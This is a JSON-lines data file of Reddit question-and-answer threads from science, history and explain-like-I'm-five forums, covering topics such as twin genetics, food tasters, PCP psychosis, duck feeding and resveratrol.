{"q_id": "1yy9ks", "title": "I'm an identical twin: my brother and I both have daughters. Can they be considered half-sisters?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1yy9ks/im_an_identical_twin_my_brother_and_i_both_have/", "answers": {"a_id": ["cfowc6z", "cfowebs", "cfowzto", "cfp2d18"], "score": [151, 25, 61, 4], "text": ["In the scenario you describe, the two daughters would (on average) appear to have the same degree of genetic similarity as half siblings. Extending this idea, if two sets of identical twins had children, then the children of the two couples would exhibit the same degree of genetic similarity as full siblings, rather than cousins. ", "They cannot be considered half sisters, but they do share genetic information as if they were half-sisters. \n\nRead into epigenetics. From the moment your shared zygote split, you and your brother have lived very different lives, and these result in meaningful changes for your respective offspring. ", "The precise genetic influences on handedness are not well understood. One hypothesis is that there isn't an allele (gene version) for right-handedness and one for left-handedness, but rather that there is an allele for right-handedness and one for \"random\". So in this hypothesis, about half the people with the \"random\" gene version would be left-handed and about half would be right-handed, and you and your twin could have the same alleles but different handedness.\n\nWhen people talk about \"mirror\" twins, they are generally talking about a single embryo that split into two fairly late in development (relative to when twinning usually occurs), after the left and right sides of the embryo have already been established, leading to reversed sidedness in one twin. This is probably a rarer occurrence than most twins assume. (Side: does anybody know if one of a pair of true \"mirror twins\" would have situs inversus?)", "National Geographic did a cover story about twins a while back it had A LOT of information that you'd probably find interesting. Here is a [link](_URL_0_) to the pictures and articles they had on twins."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://ngm.nationalgeographic.com/2012/01/twins/cobb-schoeller-photography#/05-twins-living-together-670.jpg"]]}
{"q_id": "4g0jjk", "title": "What's the point with food testers?", "selftext": "We hear all about this practice of kings/rulers having food tasters so they'd be save from assassination by poison.\nEven Hitler and Stalin had some.\n\nWhat good were they if they only tasted the food before it was served/still warm? Most poisons don't act that fast.\nRealisticallly they should have at least waited 12-24h before serving their Lord/Dictator/whatever.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4g0jjk/whats_the_point_with_food_testers/", "answers": {"a_id": ["d2dp7la"], "score": [3], "text": ["I think that these 3 threads do a good job with describing the role of a food tester and the purpose of having a food tester. Hopefully this will help answer your question. \n\n[Are there many cases of a 'food taster' actually consuming poison and dying on the spot?](_URL_0_)\n\n[Did monarchs really employ food tasters or is that a myth?](_URL_2_) \n\n[Why were poison tasters effective?](_URL_1_)\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/1u7gwr/are_there_many_cases_of_a_food_taster_actually/", "https://www.reddit.com/r/AskHistorians/comments/1j8u3i/why_were_poison_tasters_effective/", "https://www.reddit.com/r/AskHistorians/comments/1elzo3/did_monarchs_really_employ_food_tasters_or_is/"]]}
{"q_id": "1zfvsg", "title": "why aren't the russian troops in crimea wearing insignias?", "selftext": "It was obvious from the beginning they were Russian troops and now it's been confirmed so why not wear any identifying markings?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1zfvsg/eli5_why_arent_the_russian_troops_in_crimea/", "answers": {"a_id": ["cft9gsr", "cft9hmd", "cftrwd5"], "score": [2, 37, 2], "text": ["Cause they're sneaky", "It creates confusion in the initial hours of invasion which can delay a response by the Ukrainians and/or the West. You can't exactly make hard policy decisions without confirming who you first are fighting. \n\nAt this point passing out insignia is on the bottom pillar of Russia priorities so they stay unmarked despite no longer needing to. ", "Ostensibly they're supporting the former PM that was pro russia I think.  It's mostly for appearances because invasions look bad."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "7jr3rs", "title": "isn't everything of natural \"origin\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7jr3rs/eli5_isnt_everything_of_natural_origin/", "answers": {"a_id": ["dr8horf", "dr8iksy", "dr8mj50"], "score": [51, 19, 4], "text": ["Strictly speaking, there is nothing in the universe that is unnatural. The idea that something touched by humans is somehow excepted from nature is just evidence of our hubris.", "In this case, \"natural origin\" means \"not artificially chemically produced by humans, but instead sourced from non-human-produced primary sources that is then harvested by humans\".\n\nIt's natural meaning \"not synthetic\".", " >  Isn't literally everything from natural \"origin\"?\n\nif you want to be a pedant, you can argue that. and yes, companies use such pedantry to mislead consumers almost constantly. \n\nthat doesn't mean the concept of \"natural\" is meaningless or without use. indeed, when you encounter such an obvious contradiction, it likely means your intuitive definition is innacurate and the concept is simply deeper or more nuanced.\n\nfor instance. apples have been cultivated since time immemorial, we have evolved together. we can trust millions of years of evolution and the whole of human history to tell us the apple is safe to eat. if you crush the apple, it's still the same apple-y stuff that was safe before and is safe now. but what if we hydrogenate it? ferment it? take it far enough and you could make literal plastic out of it. I think you would agree that plastic would be unnatural.\n\nin this context, \"natural\" could be used to indicate composition. a natural apple product would be composed of compounds native to the apple. this is how natural flavors work. they have extracted the fruit flavor from the fruit and put it in the product. you know what those are intuitively (though not explicitly) if you have eaten the fruit and made the choice to consume them.\n\nartificial flavors, in contrast, can taste the same, but you may not have the same confidence in their safety. while we have tested them in labs, history has shown our attempts at mimicking nature have fallen short, and we as a society recognize your right to make an informed decision about what you consume. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3a57vq", "title": "Are there any texts describing the conquest of Imperial Rome as seen from the barbarians' point of view?", "selftext": "Taking example of Amin Maalouf's 'The Crusades Through Arab Eyes', do wyou guys know texts depicting Rome from the Barbarians' eyes, or what Rome represented for them? In short, does an alternate version of the Fall of Rome exist?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3a57vq/are_there_any_texts_describing_the_conquest_of/", "answers": {"a_id": ["cs9fiwz"], "score": [6], "text": ["Well, we have Jordanes' [The Origin and Deeds of the Goths](_URL_0_) . Jordanes was a Roman of Gothic extraction. The book is a summary of Cassiodorus' work, who similarly had a Roman-Gothic background.\n\nSome of the book is pretty obviously fiction. Also, some of it seems to have ultimately used Roman sources, so it is a bit iffy to say this is from the 'barbarians' point of view.' It might be difficult to find something like that because these barbarians were very Romanised, just like Jordanes' own background."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://people.ucalgary.ca/~vandersp/Courses/texts/jordgeti.html"]]}
{"q_id": "7d600y", "title": "aside from being able to perform harder music, what makes someone a good percussionist? and what differentiates the absolute best from the \"just good\"?", "selftext": "For most other instruments, there are aspects of playing like tone and stability that don't exist on most percussion instruments. So what exactly separates a good percussionist from a professional? Is it just the ability to play hard music?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7d600y/eli5_aside_from_being_able_to_perform_harder/", "answers": {"a_id": ["dpv9tps", "dpvcc7e", "dpvetbv", "dpw80mi"], "score": [10, 8, 2, 2], "text": ["Percussion is most of all about rhythm, and rhythm is much more complex than the perfectly uniform timing that a drum machine puts out. A good percussionist is immensely sensitive to the tiny shifts in timing that build and release tension, that create emphasis or space, and that generally make the mood of the whole piece what it needs to be.", " > tone and stability that don't exist on most percussion instruments\n\nTone *absolutely* exists on a percussion instrument. Nearly every percussion instrument can be struck in different ways to produce different tones. And lots of care and attention needs to be given ahead of time to tuning and setup to get exactly the sound one wants from a drum or other struck object. \n\nOne thing that separates good drummers from great drummers is care and attention to the smallest details of tone. ", "As someone else said, tone exists on percussion instruments. And there are a lot of other things to take in to consideration. Take a simple snare drum. It can be played a lot of different ways: snare on; snare off; sticks, brushes, mallets; on the head or on the rim; and so on. And each of those has its own variations. A good drummer is going to hit the drum when, where, and with what she's supposed to. A great drummer is going to interpret the piece and make appropriate adjustments in dynamics and technique.\n\nLet me give a simple example. When I was in my college jazz ensemble, we played a concert with a drummer named Matt Wilson. For part of that, Matt took a snare drum to center stage and did a solo (that's why I used the example above). He played different rhythms at different dynamics using different techniques. At the end of the solo, he was just using brushes, getting quieter and quieter. Eventually, he was still moving the brushes but not touching the drum with them. Even when he stopped moving altogether, the audience sat and listened for several seconds before bursting into applause.\n\nHe could have gone out and played a bunch of rhythms and ignored tone, dynamic, engagement, and everything else. But he didn't. That's the difference between a good drummer and a great on.", "I used to be in a youth symphony (although I wasn't a percussionist). Off the top of my head, here are qualities that would make a great percussionist:\n\n- ability to play many percussion instruments to a high degree of competency\n- ability to listen carefully to the other instruments so that you can make sure your sound is well balanced with theirs, you are playing in sync with them, and you aren't drowning them out\n- ability to improvise; memorization of various cadences or styles so that you can play your own music on the spot\n- ability to play really fast\n- ability to read sheet music perfectly on the first read-through\n- ability to play a perfectly steady beat, just like a metronome, with perfectly evenly spaced beats, over a long period of time (requires a lot of practice and control)\n- ability to very smoothly and gradually change tempo and dynamic range, without sudden or jerky changes unless you want them (having a very fine degree of control)\n- intimate knowledge of proper care, maintenance, and techniques for various instruments\n- intimate knowledge of music history and different musical genres and how to play appropriately for each genre\n\n\nA real percussionist would probably have more to add to this list."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "f62ayz", "title": "During the 18th and 19th centuries, the western powers along with the United States discriminated against Italians and Greeks and even considered them non-white. How did these countries reconcile this racism with the reverence they held for the ancient Greek and Roman civilizations?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/f62ayz/during_the_18th_and_19th_centuries_the_western/", "answers": {"a_id": ["fi3mqhm"], "score": [2], "text": ["I can answer at least the Italian part.\n\nThe reason that Italians were looked down on in America is because of which part of Italy they came from. Italy is not a homogeneous country and in the south(especially in Sicily) there is Berber and Arab influences meaning the people are more olive skinned. \nSecond Southern Italy is poorer than the north, a fact which is still causing problems today.\nSo in the classification (read racist) crazy United States you have people arriving who don\u2019t look white and don\u2019t have the great American equalizer, money. It didn\u2019t help that they were also willing to work for lower pay, so were taking jobs away from \u201cWhite Americans\u201d. \n\nSo they (A) don\u2019t look like you, (B) are poor, and (C) are stealing your job. Queue Racism."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "szikx", "title": "If everything in the Universe is constantly expanding, can/do we measure changes in size/space on an atomic level?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/szikx/if_everything_in_the_universe_is_constantly/", "answers": {"a_id": ["c4i9sbf", "c4ib15z"], "score": [8, 13], "text": ["No, the expansion of the universe only effects objects that are not bound by other forces. In this sense everything in our own galaxy and the galaxies around ours are not effected by expansion. Only galaxies and clusters not gravitationally bound to one another are effected by the universes expansion.", "No. The expansion only applies on the largest scales. On smaller scales where you have things like galaxies and planets, there is no real expansion.\n\nBut be careful, because this is the sort of question that often gets people saying things which are completely incorrect. As a rule of thumb, if someone says that things on Earth (say) don't expand because intermolecular bonds or gravity or whatever \"overcome\" the expansion, don't listen to them. With one notable exception (which I'll mention soon), the expansion is *not* some universal force which fills everywhere and everything. It's an effect which occurs on the largest scales, where the Universe appears to be uniform, and is more like the upward motion of a ball thrown into the air than the upward motion of a propelled rocket. Once the ball turns around and starts to fall, there's no more \"upward force\" trying to bring it up, and similarly when a part of the Universe starts to collapse and form galaxies, there's no residual \"expansion force\" doing things on smaller scales.\n\nThere is one exception to this, which is the cosmological constant that may be causing the expansion of the Universe to accelerate. If the acceleration is due to a cosmological constant, that actually modifies Newton's gravitational force so that there is indeed some effect felt on small scales. In some more exotic cases, the cosmological \"constant\" can grow stronger with time, resulting in a \"big rip\" that eventually tears apart objects on the smallest scales. There are also models in which the accelerated is caused by something which wouldn't affect anything here on Earth, though, so we await more data to know for sure!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3yms3y", "title": "what psychological factor makes people evil or have bad intent?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3yms3y/eli5_what_psychological_factor_makes_people_evil/", "answers": {"a_id": ["cyerwio"], "score": [3], "text": ["Well, it's incredibly complex and people have written large amounts about it. But since I'm ELI5, I'll just say that psychologists have simplified this down to the \"dark triad\": narcissism, psychopathy, and machiavellianism. People with any one of these three traits are at higher risk of doing very bad things (though this is by no means deterministic. They make their own choices and people may choose to be good despite any evil impulses). People with all three of these traits have even greater risk of being, for want of a better term, evil. As for what the words mean:\n\nnarcissism: a personality disorder that results in reduced capacity for empathy and grandiose feelings about oneself and one's abilities. They can be cruel and hurtful in order to feed their own psychological needs, without feeling the pain that they are causing. Think of the evil stepmother stereotype who loves only herself and that which makes herself greater and feeds her own selfish needs for admiration. She'll be cruel to children at the threat of having someone else be admired or loved, or worthy of attention. She'll love that which is like herself, which is why she'll spoil her own daughters at the expense of others.\n\nmachiavellianism: people who are manipulative and controlling. They'll turn others into extensions of themselves. Think of the abusive boyfriend who is jealous of any attention their girlfriend gets, so he seeks to control her every action, doesn't let her have friends or a life outside of himself. \n\npsychopathy: people incapable of feeling empathy, but also incapable of feeling guilt for their actions. There's no voice that tells them to stop doing what they're doing because it's bad. They have a lot of the traits of narcissists but they also tend to be thrillseekers and to feel emotions shallowly, and to lack fear, so they are not deterred (much or at all) at the possibility of punishment or pain. \n\nCombine them all and you get a serial killer, maybe. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2gcz7x", "title": "if bread isn't healthy for ducks how has it become such a common thing to feed them bread?", "selftext": "I recently read a \"fun fact\" (wasnt really fun) that bread isnt good for ducks and that you are actually killing it slowly by feeding it bread. If this is true how did it become such a common thing to do?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2gcz7x/eli5_if_bread_isnt_healthy_for_ducks_how_has_it/", "answers": {"a_id": ["ckhvnqg", "ckhwjrp", "ckhwt0n", "ckhxa3h", "ckhxeu8"], "score": [6, 3, 3, 5, 25], "text": ["Isn't it just dry bread that is bad? Have I been killing ducks?! *sobs*", "Some information here on why feeding ducks bread is bad.  _URL_0_", "People didn't know for a long time about this.\n\nThe ducks still don't know.\n\nPeople throw everything that is left to their household animals (ducks, hens, chicken, goats, pigs...).\n\nDucks go after the old bread,\n\nfrom then on monkey see monkey do.", "I'm *guessing* that it's \"bad\", in the sense that it's just not *good*\n\nI have chooks and there are plenty of things  to feed them, but the general rule is \"this is not a replacement for their specially formulated chook food\"\n\nSo I feed my chooks various scraps, including bread, and they happily eat it... all good... but it's important that they get the majority of their diet from proper chook food. If I just fed them bread all day, it'd be trouble\n\nit's probably the same deal with ducks. if too many people are constantly feeding the ducks bread, it may not be getting it's proper dietary requirements\n\nTL;DR- bread is probably fine, as long as it doesn't replace a healthy balanced diet", "It's not inherently \"bad\". They can eat it and digest it without difficulty. The reason we are asked not to feed ducks/geese (especially in the wild or near lakes that humans use) is a twofold answer:\n\n1. The ducks will get used to humans feeding them and stop looking for food and/ or become unafraid of humans which is actually not a good thing for wild animals. They are more easily hurt/ killed/ etc. if they don't stay away. Also, relying on humans for food means they don't learn the skills to get food on their own.\n\n2. Bread doesn't have all the nutrients they need to live. Imagine how you would feel if you ate bread all day. No fruit, no veggies. Your body wouldn't be it's healthiest. Same goes for ducks. If they fill up on bread/ human food, they will not forage on their own and have a nice balanced diet."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://birding.about.com/od/birdfeeders/a/feedingducksbread.htm"], [], [], []]}
{"q_id": "lm1rk", "title": "How does being in a relationship affect hormone levels?", "selftext": "Does being in a relationship affect hormone levels in males? I am referring to general, \"background\" hormonal levels, and not the spikes that I assume would happen during various interactions (i.e. kissing).\n\nI am interested in the answer for both relationships that have and haven't gotten physical. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lm1rk/how_does_being_in_a_relationship_affect_hormone/", "answers": {"a_id": ["c2tx315", "c2tx315"], "score": [2, 2], "text": ["Along similar lines, there was [an article in the Wall Street Journal](_URL_1_)* by Jena Pincott, the author of the book [Do Chocolate Lovers Have Sweeter Babies?: The Surprising Science of Pregnancy](_URL_2_), that talked about men's reactions to pregnancy:\n\n >  What should a man expect when he's expecting? To loosen his belt. About half of all expectant dads gain weight\u2014up to 30 pounds\u2014during their partners' pregnancies.\n\n >  And that isn't all. A dad-to-be can expect to be slammed by at least one other pregnancy symptom, like nausea, fatigue, food cravings, odor aversions, mood swings, sleep problems or bouts of bloat. Symptoms commonly strike in the first trimester, wane in the second and return with a vengeance in the third.\n\n >  [...]\n\n >  Ms. Storey and Ms. Wynne-Edwards homed in on a hormone called prolactin. Prolactin levels rise dramatically in women during pregnancy. A Buddhist of a hormone, it slows everything down to a more meditative pace. Under its influence, fats and sugars are metabolized less effectively, which explains the weight gain.\n\n >  Prolactin also arouses sweet and tender feelings by prompting pleasure hormones known as opioids. In men, it lowers the libido. When high on prolactin, you're heavy, soft, abundant and more emotionally astute. You're about to be reincarnated as a parent.\n\n*To get to the full article for free, I googled the title and clicked the link: [_URL_0_](_URL_0_)", "Along similar lines, there was [an article in the Wall Street Journal](_URL_1_)* by Jena Pincott, the author of the book [Do Chocolate Lovers Have Sweeter Babies?: The Surprising Science of Pregnancy](_URL_2_), that talked about men's reactions to pregnancy:\n\n >  What should a man expect when he's expecting? To loosen his belt. About half of all expectant dads gain weight\u2014up to 30 pounds\u2014during their partners' pregnancies.\n\n >  And that isn't all. A dad-to-be can expect to be slammed by at least one other pregnancy symptom, like nausea, fatigue, food cravings, odor aversions, mood swings, sleep problems or bouts of bloat. Symptoms commonly strike in the first trimester, wane in the second and return with a vengeance in the third.\n\n >  [...]\n\n >  Ms. Storey and Ms. Wynne-Edwards homed in on a hormone called prolactin. Prolactin levels rise dramatically in women during pregnancy. A Buddhist of a hormone, it slows everything down to a more meditative pace. Under its influence, fats and sugars are metabolized less effectively, which explains the weight gain.\n\n >  Prolactin also arouses sweet and tender feelings by prompting pleasure hormones known as opioids. In men, it lowers the libido. When high on prolactin, you're heavy, soft, abundant and more emotionally astute. You're about to be reincarnated as a parent.\n\n*To get to the full article for free, I googled the title and clicked the link: [_URL_0_](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.google.com/search?q=The+Plight+of+the+Pregnant+Man", "http://online.wsj.com/article/SB10001424052970203476804576614901064779300.html", "http://amzn.com/1439183341"], ["http://www.google.com/search?q=The+Plight+of+the+Pregnant+Man", "http://online.wsj.com/article/SB10001424052970203476804576614901064779300.html", "http://amzn.com/1439183341"]]}
{"q_id": "1pt99y", "title": "16th Century Drinking Games?", "selftext": "So I'm writing an art history report on a Wager Cup, a specific kind of cup which had to be emptied before it was put down. Since my research is going laboriously I was wondering if any of you had seen similar example, in painting would do or if you know of research done on them or anything of the like. Here is the link to said cup in the V & A: _URL_0_", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1pt99y/16th_century_drinking_games/", "answers": {"a_id": ["cd5yxzv"], "score": [9], "text": ["Let me start by saying I have no expertise of any kind on this subject, so I can't provide much context or a measure of comprehensiveness; but I have seen this kind of object before at the Rijksmuseum, specifically in a painting: [Still Life with a Tall Beer Glass, by Jan Jansz. van de Velde (III), 1647 ](_URL_3_)\n\nAfter searching some more it turns out they also have the actual glasses:\n\n[One type similar to the one you've posted, containing a die](_URL_0_)\n\n[And another type like in the painting, which have rings indicating a drinking \"target\"](_URL_1_)\n\nTheir site contains links to further documentation so I hope you can find something useful there.\nnb. I know the painting is of a later date but some of the glasses themselves are dated to around 1600.\n\nEdit: And I found [this article about the Passglass](_URL_2_) on another Dutch museum's website."]}, "title_urls": [], "selftext_urls": ["http://collections.vam.ac.uk/item/O156666/wager-cup-unknown/"], "answers_urls": [["https://www.rijksmuseum.nl/nl/zoeken?p=1&amp;ps=12&amp;type=dobbelglas", "https://www.rijksmuseum.nl/en/search?p=1&amp;ps=12&amp;f.objectTypes.sort=pasglas", "http://alma.boijmans.nl/en/showcase/Thepassglass/", "https://www.rijksmuseum.nl/en/collection/SK-A-2362"]]}
{"q_id": "udl4b", "title": "how can drugs like pcp or bath salts make you a cannibal?", "selftext": "I've read about a lot of cases involving cannibalism or VERY violent and gory behaviour.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/udl4b/eli5_how_can_drugs_like_pcp_or_bath_salts_make/", "answers": {"a_id": ["c4uvp7d", "c4ugnqh", "c4uidmb", "c4uim67", "c4uis0m", "c4uiusx", "c4ujhiv", "c4uk3ou", "c4ukbqe"], "score": [2, 450, 11, 15, 3, 123, 4, 2, 26], "text": ["They don't turn you into a cannibal. They can make you go temporarily insane. You might have no idea what the fuck is going on, what you are doing, who you are, what a person is, the fact that those arm shaped things moving around in front of you are connected to / owned by you, that you have existed before or that you will exist after the particular moment you are existing in now, etc. People can sometimes do crazy stuff when their reality is shattered and they have no concept of what is going on. Sometimes they eat other people. Shit happens. ", "[Here](_URL_0_) is the wiki article about it.  But that could have been done with a simple google search so here's your answer.\n\nPCP is an anesthetic, a hallucinogen, a mood alterer and D2 receptor agonist.\n\nThe anesthetic quality essentially makes you not feel pain, which is the partial reason for PCP users to be tazed, shot, beaten and the like without seeming to show any sort of reaction.\n\nThe hallucinogenic property is rather strong, especially in large doses.  So the user may think that things are attacking them or a threat when they're really not.  this can account for attacks on people, animals, inadimante objects and much of the self mutilation.  With the anesthetic quality, you wouldn't even know you were doing it until you came down.  \n\nThe mood altering property is not that big of an issue, but can give you a lot of energy and provoke suicidal tendencies, much like the cases where people on anti-depressants have more suicidal tenancies after they start taking them.\n\nThe D2 agonist part is probably the most important part for this kind of behavior.  First generation anti-psychotics like chlorpromazine and haloperidol are D2 anti-agonists.  Meaning the more these receptors are active, the higher chance of psychotic and dissociation behavior.  PCP actively encourages the D2 receptors and can cause massive psychotic behaviors in large doses.  It can also cause users to dissociate entirely from reality.\n\nAll of these things coupled together makes it one hell of a drug.  (Warning: soapbox inbound)  Despite this, PCP is classified as a Schedule II drug in America.  This places it below Marijuana, MDMA (Ex) and Pholcodine (which is a common cold medicine in many countries) on level of severity.  I think our priorities might be slightly skewed.  ", "There actually isn't a reliable link between PCP and [aggressive behavior](_URL_0_) (scroll to the bottom of the ToC, it's down there). Certainly no drug I'm aware of makes anyone prone to cannibalism, but I am seeing that rumor more and more lately in relation to the recent Florida incident.", "Selection bias? As far as hallucinations from 'bath salts' go, it is a blanket phrase for dozens of research chemicals, mostly stimulants. With any stimulant you can reach something called \"stimulant psychosis\" after being awake for days. It would happen to someone sober (albeit less intense) if they were awake for a few days too. It causes paranoid delusions and hallucinations...and this is why the 'bath salts' are being called hallucinogens (not to say there couldn't be some random chemical in one brand). \n\nAnd guy who ate the face, we'll have to wait for a toxicology report to see what he was on, but he could have easily been insane already and just pushed over the edge. ", "Its just psychosis brought by drug induced lack of sleep. That combined with the potent hallucinogenic/dissociative  properties of PCP. Normally most people don't go on PCP binges, and most that do I'm sure have some nap times in between.. \n\nIt just the perfect storm in your brain.\n\nSame with any stimulant that keeps you up as long as you take it.. eventually your state of mind deteriorates and in some cases, you lose your shit and eat peoples faces lol.", "First we need to talk about what psychosis is.\n\nPsychosis is what happens to a person when they can't tell the difference between imaginary things and real things. There are lots of reasons why a person can suddenly experience psychosis. Sometimes people's brains are put together differently than other peoples and the things that sort and identify information get confused.\n\nPsychosis is sneaky. Since you can't tell reality from your imagination anymore, those dragons and wizards you have dreams about start showing up in places they shouldn't be... like the grocery store.\n\nImagine if you were in the cereal aisle and Cap'n Crunch decided to jump off his cereal box and chase you around the store. It wouldn't REALLY happen, but you can make it happen in your imagination. Psychotic people can't turn their imagination off.\n\nSometimes your imagination can show you things you don't want to see. If you're psychotic and your imagination keeps showing you bad things, sometimes you try to hurt those things to make them go away... but since they aren't there in the first place, you end up hurting the things that ARE there. What you imagine depends on who you are and what you have experienced.\n\nScience says that drugs like bath salts and PCP can confuse the brain. They create chemical bridges between the imagination part of the brain and the reality part of the brain. Some people believe that people who get psychotic after taking drugs already had foundations built for those bridges and the drugs just finished the construction faster than scheduled. Other people believe the drugs build the whole bridge. We won't know which is true until scientists do more tests.\n\nEDIT: This was how I explained my psychotic condition and why I don't drive anymore to my 10 year old nephew... minus the part about the drugs.", "After reading this is it weird that I now feel a little paranoid/scared about somehow accidentally ingesting these substances.", "My friend Adam died while on these. I will not go into details about his death, but it could definitely be described as \"abnormal\". His death, among other things, actually sparked a ban on bath salts in the area.\n\n_URL_0_\n", "So, imagine all of the negative thoughts that you normally have in your head.  Maybe, when you get angry, you fantasize about saying horrible things to people, or you think about running away from your current life forever.  But you don't, because you understand the consequences - your friends and family will be upset, or you'll get fired, or something else.\n\nNow, imagine that you didn't have that check.  When you thought of saying horrible things, it didn't seem like there would be any consequences.  You'd be invincible - say what you want, do what you want, go where you want...you could even hurt people, and no one could touch you.  It's like you're living in a dream world.\n\nThis is basically what PCP (and other dissociatives) do.  This is also why it was originally scheduled as an a surgical anesthetic - it's a lot less upsetting to have surgery, for instance, when you don't have all of the fear and panic that normally comes with getting hurt.  PCP, unlike anesthetics currently in use (like ketamine), doesn't really have any sedative effects - so, recreational users end up running around in a dream-like state, feeling as though they're not in the real world and their actions don't have consequences, but not physically impaired in any serious way.\n\nNow, think about someone who has *really* violent impulses (or secretly  fantasizes about being a cannibal).  It's easy to see how, if they felt like they could do whatever they wanted with no repercussions, you might get into the sort of scenario that the man in Florida found himself in."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Phencyclidine"], ["http://www.ukcia.org/research/AgressiveBehavior.pdf"], [], [], [], [], ["http://www.stltoday.com/suburban-journals/stcharles/news/st-charles-county-bans-synthetic-drugs-sold-as-bath-salts/article_685db0fc-6531-11e0-aeca-0019bb30f31a.html"], []]}
{"q_id": "zrt3c", "title": "What is the current scientific consensus about the anti-aging potential of resveratrol?", "selftext": "Supposedly the anti-aging substance in red wine. I know some years ago it was said to have potential as a wonder drug and I've heard it mentioned again lately.\n\nIs it psuedoscience? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/zrt3c/what_is_the_current_scientific_consensus_about/", "answers": {"a_id": ["c678k39"], "score": [3], "text": ["Sadly, the biggest promoter of resveratrol has been [accused of falsifying data](_URL_0_).  It appears that the compound doesn't have much of an effect at all, and has been all but abandoned by pharmaceutical companies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.pharmalot.com/2012/01/heart-researcher-falsified-red-wine-research/"]]}
{"q_id": "2ylzfx", "title": "What are some of the most well-documented genealogies in human history?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ylzfx/what_are_some_of_the_most_welldocumented/", "answers": {"a_id": ["cpas9hr"], "score": [2], "text": ["[You might find this old comment to be rather interesting.](_URL_0_) It deals with European genealogy, and especially the concept that everyone of European descent can trace back to common ancestors in the Middle Ages, with Charlemagne being the example most people hold up. Most Crowned heads of state in Europe (and pretenders too), can reliably trace their ancestry back to him - which is 1200 years in the past! - and research into *his* ancestors continues. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/20pubn/how_reliable_is_ancestrycom_is_it_based_on/cg5u0wo"]]}
{"q_id": "2whdvj", "title": "How is a voronoi diagram drawn around irregular shapes?", "selftext": "Like countries, for example.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2whdvj/how_is_a_voronoi_diagram_drawn_around_irregular/", "answers": {"a_id": ["corc0op"], "score": [2], "text": ["I'm not sure I get the question. Voronoi diagrams form regions around points. There are no regions to start with. Do you have an example?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "516641", "title": "Who is the last traceable member of Jesus' bloodline?", "selftext": "Though Jesus had no children, we know his brothers and sisters did. Who is the last traceable descendant? Apparently some unnamed ones challenged Pope Silvester I.\n\n(I am an Atheist) ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/516641/who_is_the_last_traceable_member_of_jesus/", "answers": {"a_id": ["d79xt08"], "score": [3], "text": ["Jesus family remained leaders of Jerusalem Christians until the Jews were expelled after  Bar Kokhba's revolt.\nJudah Kyriakos, great-grandson of the Jesus brother was a last Jewish bishop of Jerusalem. Attested by  Eusebius of Caesarea he is the last documented person of the dynasty.\n\nP.S. I have read about Christian martyr in III century Persia, who claimed to be relative of Jesus. But I can't found the source and- as far as I can remember- it was from some really obscure martyrology. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "323tjy", "title": "why does whey protein expire, what makes it \"go bad\" over time?", "selftext": "Assuming the powder is still dry and sealed in the original tub.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/323tjy/eli5_why_does_whey_protein_expire_what_makes_it/", "answers": {"a_id": ["cq7qodr"], "score": [2], "text": ["It doesn't 'go bad' by the listed date.  However, the manufacturer decided that, by that date, it will only back the quality of the product.  After that date, it has degraded to a point that the manufacturer considers 'not ideal.'\n\nThis could mean taste, performance, or any number of things. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
